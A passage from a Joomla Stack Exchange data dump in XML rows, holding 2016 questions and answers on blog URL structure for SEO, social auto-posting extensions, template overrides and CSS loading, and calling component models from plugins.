  <row Id="17086" PostTypeId="1" CreationDate="2016-07-06T15:22:29.647" Score="4" ViewCount="113" Body="&lt;p&gt;A client wants to build a new Joomla website in two phases. The first phase is a very simple website with mainly a blog. The blog would appear on the home page. The second phase will include the rest of the company's content and will have the blog appear on the Main Menu. But for phase 1 the blog (which are Joomla Articles) is going to appear as domain.com/article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The concern is not to lose the SEO from the blog in phase 2 of the website. So how can we make it so in phase 1 the home page which will display the blog and the blog articles appearing as domain.com/blog/article so that when we complete phase 2 none of the SEO efforts on the blog is lost?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The intention is to build this website correctly the first time so none of the SEO from the blog is disrupted and needs no redirection in phase 2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where and how can this best be accomplished? A Joomla extension? If so, which one? Something in .htaccess? If so, please provide an example or a link to what you have in mind. Can this be handled within the Menu Manager? Or some other option I've not considered?&lt;/p&gt;&#xA;" OwnerUserId="3943" LastActivityDate="2021-08-11T02:20:23.983" Title="How to change the home page to be domain.com/blog?" Tags="|joomla-3.5|seo|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17087" PostTypeId="2" ParentId="17086" CreationDate="2016-07-06T15:46:26.823" Score="1" Body="&lt;p&gt;First of all you won't lose your SEO ranking as long as you redirect your visitors correctly. The links Google found shouldn't result in a 404 error page, but redirect to a valid page. This can be the same link structure, but you can also use .htaccess to redirect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best way is to change the base/root in the .htaccess: &lt;code&gt;RewriteBase /blog&lt;/code&gt;&#xA;If you want a htaccess-maker for Joomla I can recommend Akeeba Admin Tools. &lt;/p&gt;&#xA;" OwnerUserId="8390" LastActivityDate="2016-07-06T15:46:26.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17088" PostTypeId="2" ParentId="17086" CreationDate="2016-07-06T15:47:06.487" Score="1" Body="&lt;p&gt;Well, final answer depends on many things, but as a basic approach for what you have described I probably would conclude on building the blog section and its url structure under a &lt;code&gt;www.example.com/blog&lt;/code&gt; of the Joomla site and use an htaccess redirect for the homepage requests to the &lt;code&gt;/blog&lt;/code&gt; for as long as this is what you need.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2016-07-06T15:47:06.487" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17089" PostTypeId="1" CreationDate="2016-07-06T16:08:26.600" Score="1" ViewCount="850" Body="&lt;p&gt;For a Joomla blog, we want to be able to create the blog Joomla articles and schedule them with a start publication date when they appear on the website. We also want them to automatically be posted to the company's Facebook Fan Page, and Twitter account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a Joomla extension that would accomplish this and recognize the posting would coincide with the start publication date of the Joomla Article?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume something in the CRON needs to be scheduled to do this? If so, is this a simple shell/PHP script to look at the MySQL database for this Joomla installation and handle the auto posting through an API for Facebook and Twitter? Or is this re-inventing the wheel and there is already a Joomla extension solution for this?&lt;/p&gt;&#xA;" OwnerUserId="3943" LastActivityDate="2016-07-08T12:54:44.337" Title="Automated posting to Facebook and Twitter from Joomla blog?" Tags="|joomla-3.5|" AnswerCount="3" CommentCount="2" ClosedDate="2016-07-12T13:11:49.120" ContentLicense="CC BY-SA 3.0" />
  <row Id="17090" PostTypeId="2" ParentId="17089" CreationDate="2016-07-06T16:47:59.403" Score="0" Body="&lt;p&gt;This extension has scheduler, I haven't tested it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://foobla.com/joomla/obsocialsubmit&quot; rel=&quot;nofollow&quot;&gt;https://foobla.com/joomla/obsocialsubmit&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8234" LastActivityDate="2016-07-06T16:47:59.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17091" PostTypeId="1" AcceptedAnswerId="17094" CreationDate="2016-07-06T19:56:17.233" Score="1" ViewCount="183" Body="&lt;p&gt;Through following &lt;a href=&quot;https://docs.joomla.org/Adding_custom_fields_to_core_components_using_a_plugin&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; guide, I've created a plugin and installed it but I am having trouble with the final step. Most guides are saying to create a template override and if I create an override for com_content/article, default.php looks like it was meant purely for user view override. This other &lt;a href=&quot;https://joomla.stackexchange.com/questions/15832/adding-custom-field-in-article-creation-page&quot;&gt;question&lt;/a&gt; here has an answer suggesting the rendering be done in edit.php, which, highly suggests it's only for editing articles. Is edit.php truly the corect place? If so, will rendering it that way bypass the conditionals I have in my onContentPrepareForm method?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my onContentPrepareForm method, just in case:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function onContentPrepareForm($form,$data)&#xA;{&#xA;    $app = JFactory::getApplication();&#xA;    if(!($form instanceof JForm))&#xA;    {&#xA;        $this-&amp;gt;_subject-&amp;gt;setError('JERROR_NOT_A_FORM');&#xA;        return false;&#xA;    }&#xA;&#xA;    if($form-&amp;gt;getName() == 'com_content.article')&#xA;    {&#xA;        if ($app-&amp;gt;isAdmin())&#xA;        {&#xA;            JForm::addFormPath(__DIR__ . '/forms');&#xA;            $form-&amp;gt;loadFile('content', false);&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7215" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2016-07-07T12:22:52.237" Title="What is the proper file for a custom field in admin-only article creation?" Tags="|articles|administrator|custom-field|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17092" PostTypeId="1" CreationDate="2016-07-06T22:23:25.047" Score="1" ViewCount="723" Body="&lt;p&gt;Hello i am using joomla template having t3 framework &lt;a href=&quot;http://demo.themeparrot.com/runway/index.php/pages/about-us&quot; rel=&quot;nofollow&quot;&gt;http://demo.themeparrot.com/runway/index.php/pages/about-us&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can see the black image banner at the backside of the title (About us).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i want to change it, please help. &lt;/p&gt;&#xA;" OwnerUserId="6854" LastActivityDate="2016-07-06T22:38:09.073" Title="Change background image on t3 framework" Tags="|development|templates|joomla-3.5|t3-framework|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17093" PostTypeId="2" ParentId="17092" CreationDate="2016-07-06T22:38:09.073" Score="1" Body="&lt;p&gt;Using Firebug or similar, you can see that the background image is implemented via CSS:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.tp-breadcrumb {&#xA;    background: rgba(0, 0, 0, 0) url(&quot;/runway/templates/tp_runway/images/themeparrot/stars.png&quot;) repeat scroll 90% center;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could replace the image file via FTP or similar or override the CSS as per &lt;a href=&quot;https://joomla.stackexchange.com/a/3878/120&quot;&gt;this answer to &quot;How do I override the CSS styles in my template?&quot;&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2016-07-06T22:38:09.073" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17094" PostTypeId="2" ParentId="17091" CreationDate="2016-07-07T12:22:52.237" Score="1" Body="&lt;p&gt;I don't understand why you want to do this through a plugin (maybe I'm missing something here, if I am, could you please explain).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way I would do it, is by just overriding the &lt;code&gt;edit.php&lt;/code&gt; in your administrator template file. In other words, you shouldn't modify the &lt;code&gt;edit.php&lt;/code&gt; file directly, but rather copy the &lt;code&gt;administrator/components/com_content/views/article/tmpl/edit.php&lt;/code&gt; to &lt;code&gt;administrator/templates/[the-template-that-you-are-using]/html/com_content/article/edit.php&lt;/code&gt; and then modify the &lt;code&gt;edit.php&lt;/code&gt; file there. Note that the &lt;code&gt;hathor&lt;/code&gt; template already overrides the &lt;code&gt;edit.php&lt;/code&gt; file.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-07-07T12:22:52.237" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17095" PostTypeId="1" CreationDate="2016-07-07T13:19:08.980" Score="1" ViewCount="1295" Body="&lt;p&gt;Unfortunately I can't find any info on how the purity iii template really works. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have to present my website tomorrow and I may get asked &quot;where does the content come from?&quot; and I can not answer this question, because I don't get it myself.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;What does happen if I call the site? In the &lt;code&gt;index.php&lt;/code&gt; file there is php code, but I can't find the spot where the rest of the website gets &quot;called&quot; or something. &lt;/li&gt;&#xA;&lt;li&gt;I have no idea how the &lt;code&gt;css/less&lt;/code&gt; is embedded and I only somehow get the process after inital loading and the tpls loading the blocks...&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I customized the website and finished it. It's the process behind that I don't get.&#xA;Please help me, I don't have much time till tomorrow.&lt;/p&gt;&#xA;" OwnerUserId="8308" LastEditorUserId="126" LastEditDate="2016-07-09T17:41:50.310" LastActivityDate="2016-07-09T17:48:33.997" Title="How Templates work and load css/js files? Website building process with Purity III" Tags="|joomla-3.x|php|css|bootstrap|jhtml|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17096" PostTypeId="2" ParentId="17089" CreationDate="2016-07-07T18:15:20.773" Score="3" Body="&lt;p&gt;AutoTweetNG does this, see &lt;a href=&quot;http://extensions.joomla.org/extension/autotweet-ng&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extension/autotweet-ng&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can set AutoTweetNG to push social feed content to Facebook, Twitter and LinekdIn.  When an item is published, either on a schedule or on creation, it is pushed out to the social channels you set up in the component.  There is a free version that is limited to 2 channels, or a pro version that can post to as many channels as you like.  It does not require a cron to operate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Free version: &lt;a href=&quot;http://www.extly.com/autotweet-ng-free.html&quot; rel=&quot;nofollow&quot;&gt;http://www.extly.com/autotweet-ng-free.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pro version: &lt;a href=&quot;http://www.extly.com/autotweet-ng-pro.html&quot; rel=&quot;nofollow&quot;&gt;http://www.extly.com/autotweet-ng-pro.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been using it for a couple of years, and it has always worked well.&lt;/p&gt;&#xA;" OwnerUserId="5376" LastActivityDate="2016-07-07T18:15:20.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17097" PostTypeId="1" AcceptedAnswerId="17312" CreationDate="2016-07-08T11:00:08.717" Score="3" ViewCount="260" Body="&lt;p&gt;We have a Joomla system where users can self-activate their accounts. However some users have had problems with this (eg the activation email never arrived) and have had their accounts activated by the site administrators.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But is there any way to tell retrospectively which users were self activated and which were activated manually by admin? (and even better, by which admin user?)&lt;/p&gt;&#xA;" OwnerUserId="5618" LastActivityDate="2016-08-19T11:34:33.360" Title="Check if a user account was activated by administrator" Tags="|user|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="17098" PostTypeId="2" ParentId="17089" CreationDate="2016-07-08T12:54:44.337" Score="0" Body="&lt;p&gt;I have used both extensions and are working fine. &#xA;I just want to point out that the &#xA;&lt;a href=&quot;https://foobla.com/joomla/obsocialsubmit&quot; rel=&quot;nofollow&quot;&gt;https://foobla.com/joomla/obsocialsubmit&lt;/a&gt;&#xA;is simpler for a front end developer with medium Joomla knowledge  and the support was very fast and accurate.&#xA;Good luck.&lt;/p&gt;&#xA;" OwnerUserId="2199" LastActivityDate="2016-07-08T12:54:44.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17099" PostTypeId="2" ParentId="17095" CreationDate="2016-07-08T12:56:05.593" Score="3" Body="&lt;p&gt;Your question consists of two questions, which both are too broad to be explained in details here, plus it seems there is a big gap of knowledge you have to cover. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;h3&gt;1. What does happen if i call the site? In the index.php file is php code but i can't find the spot where the rest of the website gets &quot;called&quot; or something.&lt;/h3&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h3&gt;Answer:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;This question is not about Purity template, it's a about How Joomla Works. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a new Q/A here, so read there: &lt;strong&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/17108/what-is-the-joomla-execution-flow-after-a-request-reach-to-index-php-till-the-f/17109#17109&quot;&gt;What is the Joomla Execution Flow, after a request reach to index.php till the final output on the browser?&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;h3&gt;2. I have no idea how the css/less is embedded and i only somehow get the process after inital loading and the tpls loading the blocks.&lt;/h3&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h3&gt;Answer:&lt;/h3&gt;&#xA;&#xA;&lt;h2&gt;About Templates and Frameworks&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://www.joomlart.com/joomla/templates/purity-iii&quot; rel=&quot;nofollow noreferrer&quot;&gt;Purity III template&lt;/a&gt;&lt;/strong&gt; is a &lt;strong&gt;&lt;a href=&quot;http://www.rockettheme.com/docs/joomla/platform/templates.md&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla Template&lt;/a&gt;&lt;/strong&gt; built on &lt;a href=&quot;http://www.t3-framework.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;T3 Framework&lt;/strong&gt;&lt;/a&gt; by &lt;a href=&quot;https://www.joomlart.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;JoomlArt&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;T3 Framework comes as a system plugin and provides its own &quot;environment&quot; and all the base functionality for all t3 powered templates. This is the case with most template frameworks. There is a base of features and pre-designed functionality, which then the templates use, extend or override.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Joomla templates&lt;/strong&gt; are responsible for the &lt;strong&gt;layout and appearance&lt;/strong&gt; of the website. Although it is not such an advanced topic, it still requires some knowledge of &lt;strong&gt;php&lt;/strong&gt;, &lt;strong&gt;html&lt;/strong&gt; and the &lt;strong&gt;Joomla API&lt;/strong&gt;, among others.&lt;br&gt;&#xA;If you read the answer for your first question about the &lt;strong&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/17108/what-is-the-joomla-execution-flow-after-a-request-reach-to-index-php-till-the-f/17109#17109&quot;&gt;Joomla execution flow&lt;/a&gt;&lt;/strong&gt;, you will have some basic idea of the fact that at some point during the execution of Joomla, it starts putting content in a memory buffer (the Document) that is destined for the final output. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;During this procedure, the various elements like the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;, the content etc are defined and put in an data array. The various extensions including the templates interfere with this document data and add their own data. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Especially in regards to &lt;strong&gt;&lt;code&gt;.css/.js&lt;/code&gt;&lt;/strong&gt; files that you are interested, a template will use special code available from the Joomla API, to insert its assets files to the head part of the document that will be printed out to the browser.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Common Joomla templates&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;For example the code snipped below is used in &lt;strong&gt;Protostar&lt;/strong&gt; template to add the &lt;strong&gt;Boostrap Framework&lt;/strong&gt; assets, a custom &lt;strong&gt;&lt;code&gt;template.js&lt;/code&gt;&lt;/strong&gt; and a custom &lt;strong&gt;&lt;code&gt;template.css&lt;/code&gt;&lt;/strong&gt; file to the head.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$doc= JFactory::getDocument();&#xA;// Add JavaScript Frameworks&#xA;JHtml::_('bootstrap.framework');&#xA;$doc-&amp;gt;addScript($this-&amp;gt;baseurl . '/templates/' . $this-&amp;gt;template . '/js/template.js');&#xA;&#xA;// Add Stylesheets&#xA;$doc-&amp;gt;addStyleSheet($this-&amp;gt;baseurl . '/templates/' . $this-&amp;gt;template . '/css/template.css');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Usually in common or simple templates, all this code is written inside the &lt;strong&gt;&lt;code&gt;index.php&lt;/code&gt;&lt;/strong&gt; of the template. However, in more advanced templates and those that are built on a framework, things are not that straight-forward.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Purity T3 way&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;As said, framework templates use functionality inherited from their frameworks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example this how Purity III handles the &lt;strong&gt;&lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;&lt;/strong&gt; part and loads its assets files (css/js):  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;T3 Templates are creating layouts using the tpls, which in turn load specific blocks (&lt;code&gt;templates/purity_iii/tpls/blocks&lt;/code&gt;). &#xA;If you open any of these tpls layouts .php files, e.g. &lt;strong&gt;&lt;code&gt;blog.php&lt;/code&gt;&lt;/strong&gt; you will see: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;head&amp;gt;&#xA;    &amp;lt;jdoc:include type=&quot;head&quot; /&amp;gt;&#xA;    &amp;lt;?php $this-&amp;gt;loadBlock('head') ?&amp;gt;&#xA;    &amp;lt;?php $this-&amp;gt;addCss('layouts/blog') ?&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So at this point here we see:  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;the template creates the &lt;strong&gt;&lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;&lt;/strong&gt; element. &lt;/li&gt;&#xA;&lt;li&gt;it includes and render the head data from the memory of Document - read &lt;a href=&quot;https://docs.joomla.org/Jdoc_statements&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Jdoc Statements&lt;/strong&gt;&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It uses a frameworks method &lt;code&gt;loadBlock();&lt;/code&gt; to load a specific block - the &lt;code&gt;head.php&lt;/code&gt; block. Following the &lt;strong&gt;&lt;code&gt;blocks/head.php&lt;/code&gt;&lt;/strong&gt; block we see: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A bunch of code that is adding additional elements conditionally in the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; (metas, scripts etc).&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;addStyleSheet()&lt;/code&gt; methods that add more css files.&lt;/li&gt;&#xA;&lt;li&gt;Another framework's method &lt;code&gt;addHead()&lt;/code&gt; that will continue adding conditionally more assets to the head. You can see what the &lt;code&gt;addHead()&lt;/code&gt; method is doing at &lt;code&gt;plugins/system/t3/includes/core/template.php&lt;/code&gt;. Search for the &lt;code&gt;addHead()&lt;/code&gt; function definition.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It uses a frameworks method &lt;code&gt;addCss();&lt;/code&gt; to add special styles pertaining to that particular layout.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Much of the final behavior is controlled by settings in the Admin of the template. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually, a site owner/manager/designer and even developers do not need to know how everything works and how it is developed. They only need to know that is working and how to use it, each one from their own perspective.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the documentation is the first place to look at. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a beginner user to learn the basic of Joomla templates and templates development it's better to use simple and common templates to start. E.g. Fork the Protostar template by cloning it and then start customizing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again, php and other languages knowledge is essential.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2016-07-09T17:48:33.997" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17100" PostTypeId="1" AcceptedAnswerId="17102" CreationDate="2016-07-08T21:42:27.643" Score="0" ViewCount="705" Body="&lt;p&gt;I'm using Joomla 3.5.1 . &lt;br&gt;Is there any module for &lt;code&gt;under construction pages&lt;/code&gt;?&#xA;Some thing like this:&#xA;For example when I set a page on its setting, a count down time will be shown. &#xA;&lt;a href=&quot;https://i.stack.imgur.com/kEV9q.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kEV9q.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Excuse me for my bad English.&lt;/p&gt;&#xA;" OwnerUserId="8670" LastActivityDate="2016-07-08T23:56:41.477" Title="Under construction Page" Tags="|module|joomla-3.5|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17101" PostTypeId="1" AcceptedAnswerId="17103" CreationDate="2016-07-08T23:12:11.937" Score="7" ViewCount="4208" Body="&lt;p&gt;I have a component ('com_foo') which has a model called '&lt;strong&gt;foobar&lt;/strong&gt;'. The class declaration is like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class FooModelbar extends JModelItem&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This class has a public method called &lt;strong&gt;getFooBar()&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also have a system plugin called 'foobar'. I am trying to access the public method of the component from this plugin.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::register('FooModelBar', JPATH_SITE . '/components/com_foo/models/bar.php');&#xA;$foobarInstance = new FooModelBar();&#xA;$baz = $foobarInstance-&amp;gt;getFoobar();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I am getting some unrelated errors like 'Cannot redeclare function x' which is not even in the plugin or the component. And if I turn off the plugin or remove the JLoader::register line of code, the error disappears. So clearly I must be doing something wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the 'correct' way to access a component's method from a system plugin? &lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2017-11-23T11:01:39.693" Title="How to call a model method from a system plugin?" Tags="|component|plugin|model|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17102" PostTypeId="2" ParentId="17100" CreationDate="2016-07-08T23:56:41.477" Score="2" Body="&lt;p&gt;There is a whole category in the Joomla Extensions Directory dedicated to offline/maintenance pages:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/category/miscellaneous/offline&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/category/miscellaneous/offline&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-07-08T23:56:41.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17103" PostTypeId="2" ParentId="17101" CreationDate="2016-07-09T05:28:11.690" Score="5" Body="&lt;p&gt;This will work with ease in Joomla 3.x&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//load model&#xA;JModelLegacy::addIncludePath(JPATH_SITE . DIRECTORY_SEPARATOR . 'components' . DIRECTORY_SEPARATOR . 'com_foo' . DIRECTORY_SEPARATOR . 'models');&#xA;&#xA;//get instance of model class, where class name will be fooModelBar&#xA;$model = JModelLegacy::getInstance('bar', 'fooModel');&#xA;&#xA;//call model method&#xA;$baz = $model-&amp;gt;getFoobar();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="371" LastEditorUserId="5688" LastEditDate="2017-11-23T11:01:39.693" LastActivityDate="2017-11-23T11:01:39.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17104" PostTypeId="2" ParentId="17097" CreationDate="2016-07-09T05:34:02.530" Score="1" Body="&lt;p&gt;I did a huge research to see if there is a way to find out. The answer is probably &quot;No&quot;, but, you may be able to get some positive results. Here are my findings:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;From within Joomla, it is not possible to do do that.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;From within the server, it is somehow possible to do it by examining the Apache access logs, but with great difficulty.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You will need to examine the logs and do a &lt;code&gt;grep&lt;/code&gt; for &lt;code&gt;registration.activate&lt;/code&gt;, which means that this activation was done by the user. Now, the issue is, you won't be able to find which user it is because the &lt;code&gt;hash&lt;/code&gt; value is erased from the database once the user is activated. However, there might be some &quot;signs&quot; that will tell you, if you examine the logs very closely, which user is that (maybe track the IP and check its activities).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, doing this manually is only practical if you have a few users every week. Otherwise, you will need to develop a script for log analysis (look at &lt;code&gt;awk&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your question is by far one of the most interesting I have ever attempted to answer, and I literally researched it for a couple of hours.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-07-09T05:34:02.530" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17105" PostTypeId="2" ParentId="17101" CreationDate="2016-07-09T09:21:56.487" Score="4" Body="&lt;p&gt;To call a model from anywhere inside Joomla you can use this method&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Load the Joomla Model framework&#xA;jimport('joomla.application.component.model');&#xA;&#xA;//Load com_foo's foobar model. Remember the file name should be foobar.php inside the models folder&#xA;JModelLegacy::addIncludePath(JPATH_SITE.'/components/com_foo/models', 'FooModelBar');&#xA;&#xA;//Get Instance of Model Object&#xA;$foobarInstance = JModelLegacy::getInstance('foobar', 'FooModelBar');&#xA;&#xA;//Now you can call the methods inside the model&#xA;$baz = $foobarInstance-&amp;gt;getFoobar();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8486" LastActivityDate="2016-07-09T09:21:56.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17106" PostTypeId="1" AcceptedAnswerId="17107" CreationDate="2016-07-09T10:18:44.770" Score="-1" ViewCount="689" Body="&lt;p&gt;Can someone please tell me where I can find joomla files? e.g. articles in my file manager, see image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/BsM4C.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BsM4C.png&quot; alt=&quot;files&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;" OwnerUserId="8056" LastActivityDate="2016-07-09T11:24:44.197" Title="Where Joomla Files Located" Tags="|joomla-3.4|" AnswerCount="1" CommentCount="2" ClosedDate="2016-07-10T17:20:48.147" ContentLicense="CC BY-SA 3.0" />
  <row Id="17107" PostTypeId="2" ParentId="17106" CreationDate="2016-07-09T11:24:44.197" Score="2" Body="&lt;p&gt;I'm not quite sure what you want to know exactly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla articles resides in the data base not on files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If what you're looking for are the files that manage articles, you should look at the component com_content&lt;/p&gt;&#xA;" OwnerUserId="371" LastActivityDate="2016-07-09T11:24:44.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17108" PostTypeId="1" AcceptedAnswerId="17109" CreationDate="2016-07-09T14:51:45.090" Score="10" ViewCount="1827" Body="&lt;p&gt;Based on this question: &lt;strong&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/17095/website-building-process-of-purity-iii/&quot;&gt;How Templates work and load css/js files? Website building process with Purity III&lt;/a&gt;&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Quote:&lt;/strong&gt;&lt;br&gt;&#xA;  .... I have to present my website tomorrow and i may get asked &quot;where does&#xA;  the content come from?&quot; and i can't answer because i don't get it&#xA;  myself.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;What does happen if I call the site? In the index.php file is php code&#xA;  but i can't find the spot where the rest of the website gets &quot;called&quot;&#xA;  or something....&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and also on type of questions like this: &lt;strong&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/17106/where-joomla-files-located&quot;&gt;Where Joomla Files 